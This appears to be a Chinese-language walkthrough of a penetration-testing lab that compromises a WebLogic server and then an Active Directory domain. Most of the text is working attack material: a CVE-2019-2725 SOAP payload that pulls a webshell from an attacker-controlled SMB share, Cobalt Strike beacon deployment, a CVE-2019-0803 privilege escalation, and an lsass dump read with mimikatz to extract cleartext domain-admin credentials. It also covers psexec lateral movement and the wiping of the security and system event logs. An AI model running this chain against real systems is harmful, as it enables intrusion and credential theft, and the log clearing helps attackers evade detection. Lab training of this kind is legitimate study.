一实验环境准备
靶机地址:链接:https://pan.baidu.com/s/1P8WJYuO8VtY6YfqbllD10w?pwd=dsg7
提取码:dsg7
配置信息
DC IP:10.10.10.10 OS:Windows 2012(64) 应用:AD域
web IP1:10.10.10.80 IP2:192.168.111.80 OS:Windows 2008(64) 应用:Weblogin 10.3.6 MSSQL 2008
PC IP1:10.10.10.201 IP2:192.168.111.201 OS:Windows 7(32) 应用:
攻击机 IP:192.168.111.1 OS:Windows 10(64) IP:192.168.111.5 OS:Kali
二通过weblogic入侵web服务器
2.1 信息收集
全端口扫描
┌──(root💀kaliStudying)-[~]
└─# nmap -p- -T5 192.168.111.80 -o web
已知7001端口是weblogic服务,web服务器上安装有360安全卫士,不利于直接打入,尝试寻找weblogic的漏洞
使用WeblogicScan工具扫描目标机器,将工具上传到kali上
解压缩,并进入目录
┌──(root💀kaliStudying)-[~]
└─# unzip WeblogicScan-master.zip
┌──(root💀kaliStudying)-[~]
└─# cd WeblogicScan-master
开始扫描
┌──(root💀kaliStudying)-[~/WeblogicScan-master]
└─# python3 WeblogicScan.py 192.168.111.80 7001
扫描结束,目标存在Java反序列化漏洞:CVE-2019-2725
2.2利用CVE-2019-2725获取目标机shell
上传并安装冰蝎,解压缩重命名Behinder,切换目录
┌──(root??kaliStudying)-[~]
└─# cd Behinder
暂时先不要启动冰蝎,我们可以利用刚才扫描出来的漏洞CVE-2019-2725构造恶意的POC代码将我们的木马程序上传到目标机器上面
启动smbserver共享文件服务,将/root/Behinder/server目录共享出去,共享的名称为share
┌──(root💀kaliStudying)-[~/Behinder]
└─# impacket-smbserver share /root/Behinder/server &
测试web服务器的smb服务是否正常,在web虚拟机上访问:\192.168.111.5\share 查看共享的内容
以下是基于CVE-2019-2725漏洞的POC攻击代码:
POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.111.80:7001
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
DNT: 1
Connection: close
Content-Type: text/xml
Content-Length: 839
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>copy \\192.168.111.5\share\shell.jspx.jsp servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\8tpkys\war\1.jsp </string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
在kali中打开bp,将上面的攻击POC代码粘贴到Repeater中进行发包,发送之后会有一个弹窗,设置目标主机端口
再次点击发送,即可将webshell成功上传到目标机上
启动冰蝎,连接上传的1.jsp木马程序
┌──(root💀kaliStudying)-[~]
└─# java -jar /root/Behinder/Behinder_v3.0_Beta6_linux.jar
右键->新增,连接shell
URL:http://192.168.111.80:7001/_async/1.jsp密码:rebeyond
双击连接1.jsp(如果连接shell获取不到信息可以重新打开)
查看用户信息
C:\Oracle\Middleware\user_projects\domains\base_domain >whoami
查看系统信息,看一下系统安装了哪些补丁。
C:\Oracle\Middleware\user_projects\domains\base_domain > systeminfo
三提权反弹shell给cs
3.1 Cobalt Strike部署
上传Cobalt Strike到kali上,解压缩并进入目录
添加执行权限
┌──(root??kaliStudying)-[~/CobaltStrike4.3]
└─# chmod +x cobaltstrike teamserver start.sh
启动服务端(命令+ip+密码)
┌──(root💀kaliStudying)-[~/CobaltStrike4.3]
└─# ./teamserver 192.168.111.5 123456 &
启动客户端
┌──(root💀kaliStudying)-[~/CobaltStrike4.3]
└─# ./start.sh &
用户名随意填写,cs支持多人协同工作,所有人的密码都是123456
3.2创建监听器
创建监听
生成exe程序
这里不建议使用x64,因为使用32位的程序可以运行在64位的系统上,如果你明确知道对方是x64系统也可以生成64位
将文件保存到冰蝎下的server目录
3.3普通用户提权-反弹SYSTEM权限的shell给cs服务
1、获取普通用户权限
修改刚才使用的POC攻击代码,上传我们生成.exe后门程序,也可以使用冰蝎进行上传(后面使用)
重命名为web.exe
┌──(root💀kaliStudying)-[~/Behinder/server]
└─# mv artifact.exe web.exe
使用冰蝎,切换到我们上传文件的目录,上传web.exe后门程序
使用cmd命令行终端并切换到上传文件的目录
C:\Oracle\Middleware\user_projects\domains\base_domain>cd
servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/
运行web.exe
C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\
_WL_internal\bea_wls9_async_response\8tpkys\war>web.exe
cs成功上线web服务器
打开会话窗口
设置命令执行周期,默认是60秒,修改为2秒
beacon>sleep 2
2、开始提权
上传相关利用工具到kali
使用cs上传相关利用工具到目标机
beacon>upload /root/CVE-2019-0803.exe
beacon>upload /root/mimidrv.sys
beacon>upload /root/mimikatz.exe
beacon>upload /root/mimilib.dll
beacon>upload /root/procdump64.exe
已知系统没有安装相关漏洞的补丁。所以我们直接利用工具提权即可。
返回SYSTEM权限的shell
beacon> shell CVE-2019-0803.exe cmd "start web.exe"
等程序执行完成就会返回SYSTEM权限的shell,如果没有返回,则尝试重新执行命令,有一定的成功率,下图则会提权成功
四明文读取系统内存中用户凭证
4.1使用procdump64+mimikatz获取用户明文密码
进入SYSTEM权限的会话,并且设置sleep 2
beacon> shell procdump64.exe -accepteula -ma lsass.exe lsass.dmp
利用mimikatz.exe从lsass.dmp里获取Windows处于active状态账号的明文密码
beacon> shell mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit >pass.txt
使用download命令下载,下载后会保存到程序目录的downloads目录
beacon> download pass.txt
读取下载之后的密码,文件名是随机字符串
┌──(root??kaliStudying)-[~/CobaltStrike4.3]
└─# cd downloads
┌──(root💀kaliStudying)-[~/CobaltStrike4.3/downloads]
└─# ls
4e683782f
查看文件内容,获取域控管理员的明文密码
┌──(root💀kaliStudying)-[~/CobaltStrike4.3/downloads]
└─# cat 4e683782f
4.2域信息收集-找出域控制服务器主机名和IP
查看网络信息找到域控
beacon> shell ipconfig /all
一般情况下,作为DNS服务器的就是域控服务器
查看域控制器
beacon> shell net group "domain controllers" /domain
主机名:DC,完整的主机是:DC.de1ay.com 再确认主机名为DC的IP地址
beacon> shell ping dc
查看域管理员:
beacon> shell net group "domain admins" /domain
五通过有效凭证登录DC反弹dcshell给cs
5.1生成管理账号密码用户凭证-连接域控服务器-反弹域控shell
回到控制目标主机的初始用户账户下
beacon> rev2self
查看当前的权限:
beacon> getuid
通过前面获取到的DC的DE1AY\adminstrator账户信息,生成新的凭证
beacon> make_token DE1AY\administrator 1qaz@WSX
创建新的监听
DC上线,jump会使用前面的凭证和smb监听器,完成登录DC的过程
beacon> jump psexec DC smb
成功拿到域控,我们可以为所欲为了!
六拿到PC主机shell
扫描内网的其他存活主机
选择10.10.10.0网络,把ports清空,使用arp协议对该网段进行扫描,探测存活主机
发现一台新的主机存活
选择拥有 system 权限的会话,这个会话之前已经完成以下两步骤:
域控制器用户 DE1AY\administrator 的凭证
beacon> make_token DE1AY\administrator 1qaz@WSX
还有 smb 监听器
DC 上线,jump 会使用前面的凭证和 smb 监听器,完成登录 DC 的过程
beacon> jump psexec DC smb
选择横向移动到另一台机器
beacon> jump psexec 10.10.10.201 smb
痕迹清除-日志清除
beacon> wevtutil el 列出系统中所有日志名称
beacon> wevtutil cl system 清理系统日志
beacon> wevtutil cl application 清理应用程序日志
beacon> wevtutil cl security 清理安全日志
分别在刚才访问过的机子上进行日志清除
查看日志是否清除